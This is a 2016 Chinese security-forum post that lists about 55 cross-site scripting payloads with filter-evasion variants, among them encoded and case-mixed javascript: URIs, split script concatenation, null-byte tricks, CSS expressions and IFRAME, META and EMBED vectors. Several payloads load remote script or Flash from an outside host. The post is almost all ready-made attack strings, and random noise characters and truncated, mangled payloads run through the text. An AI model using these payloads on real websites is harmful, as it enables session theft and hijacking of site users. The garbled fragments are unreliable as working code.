找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2047|回复: 0
打印 上一主题 下一主题

XSS攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2016-4-28 10:06:15 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
(1)普通的XSS JavaScript注入
' ~; [* V4 S. |( ?: u" O
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>3 y$ T& U! G0 I8 G$ B" K
(99)另类弹框

! ]8 Z1 y4 I( M' Y) U3 O<q/oncut=alert()>1" E7 R+ n3 U9 M6 }
<s/onclick=alert()>b1 O2 q6 r+ x& W+ ]: y. @( V0 ^
<XSS=" onclick="alert(1)//">clickme</SSX=">
- |$ |/ a& k( w$ B8 f <zzz onclick=alert`1`>clickme</zzz> 2 U$ Z0 n: q- ?: z
<a onclick=alert`1`>clickme</a>3 {# Z$ ^' o, C+ r  U/ \3 X
<a=">clickme</a=">
& e) [1 F2 U" G6 K" m<a=">clickme</a>$ H5 n+ l, f* ?, B- w3 I* |: h) ^" c
<z=">clickme</z=">
# e* Y4 C/ n% L6 Q( J<z onclick=alert`1`>clickme</z>0 P+ `& g3 @: c% E9 V) @/ s3 C
0 X" _- d* M& P  D% m/ t0 g
(2)IMG标签XSS使用JavaScript命令$ L; e2 ~, \0 Y3 D
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>. B/ _. D# t+ I
$ V6 S6 `% c' G8 u/ `
(3)IMG标签无分号无引号
9 u5 Q6 U' Q+ S/ d1 b
<IMG SRC=javascript:alert(‘XSS’)>2 V, m) w9 y+ ]5 [
  h8 Q' R: i9 r8 b
(4)IMG标签大小写不敏感7 Y  C8 ?8 g" |/ H' X5 j
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
& c% p6 O. w% H6 x4 ~5 j
" e" T5 m* |/ F
(5)HTML编码(必须有分号)
( m. C5 W3 y5 M( r# r
<IMG SRC=javascript:alert(“XSS”)>
& a3 _! V$ j! a7 j
4 W! E$ B. P! z' O( Q
(6)修正缺陷IMG标签4 K! T; k$ }4 j, {! e+ w2 Q
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>) Y* n* g4 l! a6 a+ v) m+ t
+ G! t2 v' K: i% }
(7)formCharCode标签(计算器)3 q( n9 A, G* S9 O8 R2 C' R3 A& v
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
, a' L/ H' j5 a1 ^1 ?! h. M

' g( u0 J* i% g  U- [0 F! n1 v0 r) x- b
(8)UTF-8的Unicode编码(计算器)
; e6 _9 U3 h4 z6 p
<IMG SRC=jav..省略..S')>
3 C' R5 q( X4 i) Z

' u# u+ d$ U! ~! o
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
/ w! p* {0 B4 A) f  x
<IMG SRC=jav..省略..S')>- B8 K) o2 l( L8 J4 R1 J2 Z3 A
4 F& W; H" M' e$ T* ]' @; j( h# Y
(10)十六进制编码也是没有分号(计算器)3 D; v1 K# S9 v& H8 w
<IMG SRC=\'#\'" /span>) {3 Q, i/ i" |, d5 D

; o* ]4 Y- c9 }: S+ C7 L' p(11)嵌入式标签,将Javascript分开1 ~% \! }- ?% ~* ]1 v; b: I1 K
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>' y: k# Y+ M% y" y

0 ]1 @. G( `  C" e( X(12)嵌入式编码标签,将Javascript分开  U& l5 G0 Z7 G& J
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
$ E0 w4 h; h. y( E+ O& c" Q. }$ C& E/ j: @' O' \' L, k; T# N. `
(13)嵌入式换行符. U5 A# b- D2 @( T1 t! e
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
# A* \8 W* G  \
9 ~7 P# N' e9 S! ~4 T& ?(14)嵌入式回车
0 a/ w, p* ~& g: N( p) j5 K<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>) p. s7 @. I1 c+ |
! W4 m& C" }0 Y) @- y! e7 g" W
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
! Y# j- \2 y+ G1 p6 I: W8 p) {<IMG SRC=\'#\'" /span>
' h4 b7 ^( ~8 `/ G$ c8 S; m" Z8 d% O  E% g% U
(16)解决限制字符(要求同页面)
* g4 o1 O5 m% D, P7 A- Z, R3 t6 P<script>z=’document.’</script>2 m3 S$ i" ]4 D$ V7 @  _
<script>z=z+’write(“‘</script>, v/ |# ^! W$ w5 t- d1 X
<script>z=z+’<script’</script>+ I4 B! R7 H4 d! J3 a
<script>z=z+’ src=ht’</script>
3 ~0 w2 `* t8 ~, Z1 V<script>z=z+’tp://ww’</script>
, Q0 i  D9 x+ W0 |2 W/ ]<script>z=z+’w.shell’</script>  l, D- V- h3 ]( J" k' j: `3 b
<script>z=z+’.net/1.’</script>
2 G% ?* K" E! X3 J0 a* a  m<script>z=z+’js></sc’</script>; f4 j; O/ R( ^1 K7 Q2 [, Y
<script>z=z+’ript>”)’</script>, m' g' O" w' \+ ?/ J6 E( Q
<script>eval_r(z)</script>
& I  j9 m; z: c$ D) _9 b
# [: Q+ e/ H" s2 Z* @7 a(17)空字符
! ?. N1 Z. I! operl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
* O  z9 [& D" p8 q2 a9 g+ A' o* ]7 w$ Q0 X9 [3 c/ M' \
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用8 X+ K' j- W, F/ U* l
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out" H  X. x! D6 `' V( V. d# Z
% F  ]/ y$ Z# Y. s
(19)Spaces和meta前的IMG标签" ?8 [# `8 R! n  \- w% y8 t/ Z( m( g
<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
- ^6 U$ m& T- s5 D# b' _+ X
+ y5 Z) G" P+ N(20)Non-alpha-non-digit XSS$ }4 F# I, w$ S7 U
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>/ D4 @9 y1 N- w- q* R! M
6 u' t* [( l/ u9 U
(21)Non-alpha-non-digit XSS to 21 W' D+ Q/ K' |* ?0 u3 V$ ~0 U5 n
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>( j  O0 D' ]2 l% q* |6 M+ I
. _* X* F( N% ^
(22)Non-alpha-non-digit XSS to 3; R7 t" \% m; ~6 t9 x
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
7 S9 [1 V) B9 k! h/ ]; W# u9 q) B+ c6 n! ~5 y
(23)双开括号$ O8 ~" d; V, [( @2 Z4 l* t
<<SCRIPT>alert(“XSS”);//<</SCRIPT>/ T# Z, Y0 o; k! h
" P! _" H" }0 u% L. p
(24)无结束脚本标记(仅火狐等浏览器)( C5 X' V. N! ~# S) E
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
" A, K# l; e- o! Z2 `$ q' w( o: Z1 i! x3 j0 M& r
(25)无结束脚本标记2
8 ]0 v3 W, u& l* _<SCRIPT SRC=//3w.org/XSS/xss.js>3 G! Z3 B3 d1 B) y5 s
8 d" B+ x0 K- C" h0 {  E
(26)半开的HTML/JavaScript XSS* r0 l0 `& [6 T& ]8 P( H: ?" d# Q- h
<IMG SRC=\'#\'" /span>
" T! k6 Y# W  U) k+ J2 N: y; \5 S8 W5 |1 v% v4 h# K/ W
(27)双开角括号2 `' Q' [7 N# x+ g2 v" g+ y* o
<iframe src=http://3w.org/XSS.html <
1 f" M% ~% Q7 ~2 v; C; @3 w" U! T
(28)无单引号 双引号 分号
: D( M7 w& \9 A' }0 j( V$ I* W<SCRIPT>a=/XSS/
1 L; f. M1 z5 w) Q  p! ?alert(a.source)</SCRIPT>
6 D# t: o1 I* R* q9 W7 I, ]3 }, e1 z; v
(29)换码过滤的JavaScript
8 ^% s0 o/ l9 k; G( z' i' E\”;alert(‘XSS’);//
2 u$ v( L, k2 _- @& T, t: \- A. L7 M/ B' n  p4 ~! p+ Y* b. t
(30)结束Title标签* w1 `3 D2 j1 f" b. w$ e1 v4 s
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- e+ l4 y1 x4 y" b% Z
9 z* D& w) d1 q: `7 W# p(31)Input Image/ h) E' w1 H5 W0 u7 h
<INPUT SRC=\'#\'" /span>. ~- p/ P" }, G4 x0 c  K" ~
1 Z9 y, `, F4 m) B% E# L/ O
(32)BODY Image+ Z0 K7 C# f' Y% M3 A. t6 j, G
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>. C6 o4 g; _3 s+ H1 S
8 F2 B" S, ^- c1 C; \) \: }
(33)BODY标签; g$ s4 S! Z- z% t. J+ M
<BODY(‘XSS’)>
- Z5 S! ^( _& l. A; X, X2 v2 z5 a1 m8 ^$ D! x) q% {& o
(34)IMG Dynsrc
& |' {5 `+ s5 o8 Y6 P+ n$ h<IMG DYNSRC=\'#\'" /span>+ B+ A( U$ S* F  Z0 \
+ L) t9 P: E' d6 q
(35)IMG Lowsrc
! t& Y8 f& M% {# C$ r! M<IMG LOWSRC=\'#\'" /span>3 M+ `- w& X9 t  \1 x. X

3 D: J+ n" q& h8 M! e7 D(36)BGSOUND; _0 |* F3 d% f+ }
<BGSOUND SRC=\'#\'" /span>
, y( k4 q( ~& Y7 r/ j2 D1 g' d
, G/ p) I$ D6 i9 |4 }; \(37)STYLE sheet; H4 K5 b7 \5 `# k( _
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
/ R- b! E+ `! H! Z' i6 c( V  t) @: S5 [3 a. h3 h2 {, X6 f$ d9 n
(38)远程样式表7 S' @1 R( e' ^4 y/ b* @1 H
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
) W; F; G4 c8 ?9 H, b3 P  x+ L9 `
% X7 o' I1 ]# J4 ](39)List-style-image(列表式)
& h- z- g( K) `8 e4 u5 S<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS  r& Z4 ?& i" c" P8 d$ _# H  D: W, T3 A8 d

( ^$ K! A! H7 a, W! b2 A$ g(40)IMG VBscript
, F+ x2 d' O- L+ l  a: Y- G<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
. ~, K- l4 L$ t, w. U9 u* c2 y+ x' r# f! p: X2 Q+ @7 _
(41)META链接url: m) F% i- @+ K9 [" r; V; O
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
+ b8 b) T6 _9 o5 J, B# |6 D8 {4 r
(42)Iframe
# N) s6 C+ \7 ^  a1 r- m<IFRAME SRC=\'#\'" /IFRAME>" d/ h  C# @7 X' c1 H  R9 t1 z# h
2 F5 Y. O% E* }( S( i. h
(43)Frame
( }1 i0 r. n( D) S5 w<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>% R2 p' w7 z8 t5 O# P2 k6 w. q$ l

( j9 ?1 P; B) f; S1 \* S; M( t(44)Table
( b3 N6 a% |0 m% a3 R" ^<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
2 e" z/ K7 ]( b6 g" D) j$ K3 y/ M0 B# O2 _0 p: U
(45)TD% _$ |. R  v! V% ~
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>( J: Q& {4 l: s8 B9 G

5 Z. _6 b8 q9 L: V) o* d2 S* |(46)DIV background-image
8 b( q* j7 c& g5 w<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>0 z& L% B: L7 A* v

! i) ]. ^2 ~9 \$ }! d+ S8 Z(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
* X- [. o( }! n. t3 E<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
% ]6 p) ?: k. Q; d, U$ J) V! \& d- |
(48)DIV expression
: ~7 \' w- G2 {  M0 i# G<DIV STYLE=”width: expression_r(alert(‘XSS’));”>* V& i5 n. |' C+ N* h5 J) r
; {& T; C" g5 B, {9 I9 y0 p
(49)STYLE属性分拆表达
( N  U# Q# y) \6 H2 N<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
! F- V1 i5 x4 D0 k: m* `' f- G$ S
; p$ `4 u( _, ~- a  @(50)匿名STYLE(组成:开角号和一个字母开头)
) M- r# ^* G! x" g6 ^* Z<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
- J- x8 W, }7 f8 H$ Q6 m! a, T& N/ }- W/ W
(51)STYLE background-image! s- [9 [& {+ e/ U
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
' T2 l9 N$ v7 K# m7 N6 p1 b, I5 a# G+ B/ T" u$ G
(52)IMG STYLE方式
3 D' S& A9 o) r: Z. Mexppression(alert(“XSS”))’>
% H, n# Z5 n* m1 P& e% a* y/ w; p: |5 m- Y! B2 c( P
(53)STYLE background
0 N, U  }  B* g8 G& N5 u<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>+ \  `  r' D. k: {% G9 h
" U5 q! o- G" ^+ X  G- S
(54)BASE) P/ M$ c. L/ T9 L: V% D. v
<BASE HREF=”javascript:alert(‘XSS’);//”>" n% s# I$ ^$ @) ]* Y; w

( u3 O' N0 u8 `- U6 V7 n(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
9 n8 D3 |! v7 [0 q( v<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>

9 r# g% ], [1 n. W+ a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表